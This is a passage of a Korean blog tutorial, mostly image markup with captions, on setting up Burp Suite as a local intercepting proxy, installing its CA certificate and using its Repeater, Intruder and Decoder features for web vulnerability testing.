&lt;p data-ke-size=&quot;size16&quot;&gt;해당 옵션을 선택해야 Request, Response 모두 Intercept 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;462&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cWfZ0p/btsKX5Im4gJ/72JraqXMr9X4mobc1QBdZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cWfZ0p/btsKX5Im4gJ/72JraqXMr9X4mobc1QBdZ0/img.png&quot; data-alt=&quot;버프스위트 프록시 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cWfZ0p/btsKX5Im4gJ/72JraqXMr9X4mobc1QBdZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcWfZ0p%2FbtsKX5Im4gJ%2F72JraqXMr9X4mobc1QBdZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;802&quot; height=&quot;462&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;462&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;버프스위트 프록시 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1368&quot; data-origin-height=&quot;315&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MjQZR/btsKV9esWoi/KGJ8wNICfk6KcUqeRQhQJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MjQZR/btsKV9esWoi/KGJ8wNICfk6KcUqeRQhQJk/img.png&quot; data-alt=&quot;127.0.0.1:8888로 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MjQZR/btsKV9esWoi/KGJ8wNICfk6KcUqeRQhQJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMjQZR%2FbtsKV9esWoi%2FKGJ8wNICfk6KcUqeRQhQJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1368&quot; height=&quot;315&quot; data-origin-width=&quot;1368&quot; data-origin-height=&quot;315&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;127.0.0.1:8888로 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;902&quot; data-origin-height=&quot;654&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/02Qtx/btsKX8SwpdP/XYxKPw8VNO0m755gcjYEUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/02Qtx/btsKX8SwpdP/XYxKPw8VNO0m755gcjYEUk/img.png&quot; data-alt=&quot;Response Intercept 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/02Qtx/btsKX8SwpdP/XYxKPw8VNO0m755gcjYEUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F02Qtx%2FbtsKX8SwpdP%2FXYxKPw8VNO0m755gcjYEUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;902&quot; height=&quot;654&quot; data-origin-width=&quot;902&quot; data-origin-height=&quot;654&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Response Intercept 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FoxyProxy가 아닌 인터넷 옵션을 사용하여 프록시 설정을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 실행 창(ctrl + R)에서 inetcpl.cpl 을 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 인터넷 속성 - 연결 - LAN 설정(L)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. LAN 설정 - 사용자 LAN에 프록시 서버 사용 체크 - 고급(C)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 프록시 주소 및 포트번호 입력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 확인 클릭 후 적용 완료(확인을 클릭하지 않아 프록시 설정이 안되서 Intercept 안되는 경우 있음)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;395&quot; data-origin-height=&quot;201&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNpsm1/btsKX0mPIYU/uLWnDlxMdwb8MTzZSKFW70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNpsm1/btsKX0mPIYU/uLWnDlxMdwb8MTzZSKFW70/img.png&quot; data-alt=&quot;실행 창&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNpsm1/btsKX0mPIYU/uLWnDlxMdwb8MTzZSKFW70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNpsm1%2FbtsKX0mPIYU%2FuLWnDlxMdwb8MTzZSKFW70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;395&quot; height=&quot;201&quot; data-origin-width=&quot;395&quot; data-origin-height=&quot;201&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;실행 창&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;465&quot; data-origin-height=&quot;604&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c2J6U0/btsKWLD2AxW/2Gx1zBPWGJOVmZLDBTXylk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c2J6U0/btsKWLD2AxW/2Gx1zBPWGJOVmZLDBTXylk/img.png&quot; data-alt=&quot;LAN 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c2J6U0/btsKWLD2AxW/2Gx1zBPWGJOVmZLDBTXylk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc2J6U0%2FbtsKWLD2AxW%2F2Gx1zBPWGJOVmZLDBTXylk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;465&quot; height=&quot;604&quot; data-origin-width=&quot;465&quot; data-origin-height=&quot;604&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;LAN 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;436&quot; data-origin-height=&quot;392&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DLinC/btsKV11Je6K/bsd0KYjbrlVVW0lT5RvKI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DLinC/btsKV11Je6K/bsd0KYjbrlVVW0lT5RvKI1/img.png&quot; data-alt=&quot;LAN 설정 - 고급&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DLinC/btsKV11Je6K/bsd0KYjbrlVVW0lT5RvKI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDLinC%2FbtsKV11Je6K%2Fbsd0KYjbrlVVW0lT5RvKI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;436&quot; height=&quot;392&quot; data-origin-width=&quot;436&quot; data-origin-height=&quot;392&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;LAN 설정 - 고급&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;456&quot; data-origin-height=&quot;489&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dvLGdc/btsKXGB7mDy/I4SF1RUb0cjJBIFnfe8oF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dvLGdc/btsKXGB7mDy/I4SF1RUb0cjJBIFnfe8oF1/img.png&quot; data-alt=&quot;프록시 주소 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dvLGdc/btsKXGB7mDy/I4SF1RUb0cjJBIFnfe8oF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdvLGdc%2FbtsKXGB7mDy%2FI4SF1RUb0cjJBIFnfe8oF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;456&quot; height=&quot;489&quot; data-origin-width=&quot;456&quot; data-origin-height=&quot;489&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;프록시 주소 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Intercept On 후(단축키 Ctrl + T) 네이버에 접속 시도를 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 그림과 같이 안전하지 않은 연결로 연결되는데, 이는 SSL 인증서가 설치되지 않아 생기는 오류이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;923&quot; data-origin-height=&quot;617&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmNaP9/btsKWXYHgGl/VRi9GPbIHlUrKNny9zfGdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmNaP9/btsKWXYHgGl/VRi9GPbIHlUrKNny9zfGdk/img.png&quot; data-alt=&quot;안전하지 않은 연결&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmNaP9/btsKWXYHgGl/VRi9GPbIHlUrKNny9zfGdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmNaP9%2FbtsKWXYHgGl%2FVRi9GPbIHlUrKNny9zfGdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;923&quot; height=&quot;617&quot; data-origin-width=&quot;923&quot; data-origin-height=&quot;617&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;안전하지 않은 연결&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;127.0.0.1:8888 또는 http://burp/ 로 접속 후 우측 상단에 CA Certificate를 클릭하여 인증서를 다운로드 받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증서 설치 - 현재 사용자 - 모든 인증서를 다음 저장소에 저장 - 찾아보기 - 신뢰할 수 있는 루트 인증 기관&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 설정 후 다음을 눌러 설치를 완료한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증서 설치 완료 후 네이버에 다시 접속하면 정상적으로 접속되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 설치 후에도 네이버에 접속이 안된다면, 브라우저와 버프 스위트를 껏다가 다시 켠 후 실행한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;278&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pEX7c/btsKWQZDpSF/jY0LyTHrsJjQyBk5eL8dX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pEX7c/btsKWQZDpSF/jY0LyTHrsJjQyBk5eL8dX0/img.png&quot; data-alt=&quot;127.0.0.1:8888 접속&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pEX7c/btsKWQZDpSF/jY0LyTHrsJjQyBk5eL8dX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpEX7c%2FbtsKWQZDpSF%2FjY0LyTHrsJjQyBk5eL8dX0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;939&quot; height=&quot;278&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;278&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;127.0.0.1:8888 접속&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;463&quot; data-origin-height=&quot;579&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4pAB0/btsKWkUcLVw/thcsPXVyRry2Gi33IGuGMK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4pAB0/btsKWkUcLVw/thcsPXVyRry2Gi33IGuGMK/img.png&quot; data-alt=&quot;인증서 설치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4pAB0/btsKWkUcLVw/thcsPXVyRry2Gi33IGuGMK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4pAB0%2FbtsKWkUcLVw%2FthcsPXVyRry2Gi33IGuGMK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;463&quot; height=&quot;579&quot; data-origin-width=&quot;463&quot; data-origin-height=&quot;579&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;인증서 설치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;561&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/do45aj/btsKXo9xD5v/2uVm24KidXHwi4e0dyRImK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/do45aj/btsKXo9xD5v/2uVm24KidXHwi4e0dyRImK/img.png&quot; data-alt=&quot;현재 사용자&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/do45aj/btsKXo9xD5v/2uVm24KidXHwi4e0dyRImK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdo45aj%2FbtsKXo9xD5v%2F2uVm24KidXHwi4e0dyRImK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;561&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;561&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;현재 사용자&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;601&quot; data-origin-height=&quot;564&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Bddo2/btsKYgpnAIO/OkrxpY1vYeCDMI8EIdVFBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Bddo2/btsKYgpnAIO/OkrxpY1vYeCDMI8EIdVFBk/img.png&quot; data-alt=&quot;신뢰할 수 있는 루트 인증 기관 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Bddo2/btsKYgpnAIO/OkrxpY1vYeCDMI8EIdVFBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBddo2%2FbtsKYgpnAIO%2FOkrxpY1vYeCDMI8EIdVFBk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;601&quot; height=&quot;564&quot; data-origin-width=&quot;601&quot; data-origin-height=&quot;564&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;신뢰할 수 있는 루트 인증 기관 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;899&quot; data-origin-height=&quot;494&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/odlM4/btsKX52GtMG/DN6jRJPfd8BsgOiPt0lpCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/odlM4/btsKX52GtMG/DN6jRJPfd8BsgOiPt0lpCK/img.png&quot; data-alt=&quot;네이버 접속&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/odlM4/btsKX52GtMG/DN6jRJPfd8BsgOiPt0lpCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FodlM4%2FbtsKX52GtMG%2FDN6jRJPfd8BsgOiPt0lpCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;899&quot; height=&quot;494&quot; data-origin-width=&quot;899&quot; data-origin-height=&quot;494&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;네이버 접속&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 위와 같이 설정을 해도 접속이 안되거나 프록시 기능 사용이 어렵다면, 우측 상단 또는 중간에 Open browser 를 클릭하여 버프스위트에서 제공하는 크롬 브라우저를 사용한다. (별도의 프록시 설정이 필요없는 브라우저)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 브라우저를 사용하면 프록시 설정을 따로 하지 않아도 &lt;span style=&quot;background-color: #ffffff; color: #474747; letter-spacing: 0px;&quot;&gt;별도의 프록시 설정 없이 패킷을 잡을 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1052&quot; data-origin-height=&quot;626&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kx4wh/btsMbq6mf6H/PcGKD3RKI34LUeYRn7Ms3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kx4wh/btsMbq6mf6H/PcGKD3RKI34LUeYRn7Ms3k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kx4wh/btsMbq6mf6H/PcGKD3RKI34LUeYRn7Ms3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fkx4wh%2FbtsMbq6mf6H%2FPcGKD3RKI34LUeYRn7Ms3k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1052&quot; height=&quot;626&quot; data-origin-width=&quot;1052&quot; data-origin-height=&quot;626&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;버프 스위트(Burp Suite) 기능 설명&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;단축키(Settings - User Interface - Hotkeys)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Intercept On, Off(인터셉트 On Off) &amp;rarr; Ctrl + T&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Forward(패킷 전송) &amp;rarr; Ctrl + F&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Repeater(단일 패킷 확인, 사용자 입력값 테스트) &amp;rarr; Ctrl + R&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Issue Repeater request(Repeater Send, 사용자 입력값 전달) &amp;rarr; Ctrl + Space&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Intruder(자동화 도구) &amp;rarr; Ctrl + I&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Intercept On Off로 패킷을 잡는데는 시간이 오래걸리므로, Repeater를 활용하여 단일 패킷을 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Repeater에서 원하는 패킷을 잡고 Repeater Send를 사용하여 사용자 입력값을 서버로 전송하여 응답을 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리피터는 수동 제어 및 HTTP 요청을 재요청하고 어플리케이션 응답을 분석해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점 진단을 위한 입력 파라미터 조작, 요청 재발행 등의 목적으로 활용이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(파라미터 값을 admin 에서 test로 변경하는 등 활용)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Intruder - 자동화 도구, 특정 파라미터에 순차적으로 번호를 입력, 딕셔너리 공격 등 활용 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Python 같은 언어로 스크립트를 작성해서 자동화 프로그램 작성이 가능하면 굳이 사용할 필요가 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Decoder - 인코딩, 디코딩, Hash 등을 변환해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기능 설명&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Proxy&lt;/b&gt;: 브라우저와 서버 사이 트래픽 가로채기&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Intruder&lt;/b&gt;: 자동화된 취약점 공격 및 fuzzing&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Repeater&lt;/b&gt;: 요청 재전송 및 수동 테스트&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Decoder&lt;/b&gt;: 인코딩/디코딩 도구&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Comparer&lt;/b&gt;: 요청/응답 비교&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Extender&lt;/b&gt;: 확장 기능 설치&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Scanner (Pro)&lt;/b&gt;: 자동 취약점 스캐닝&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
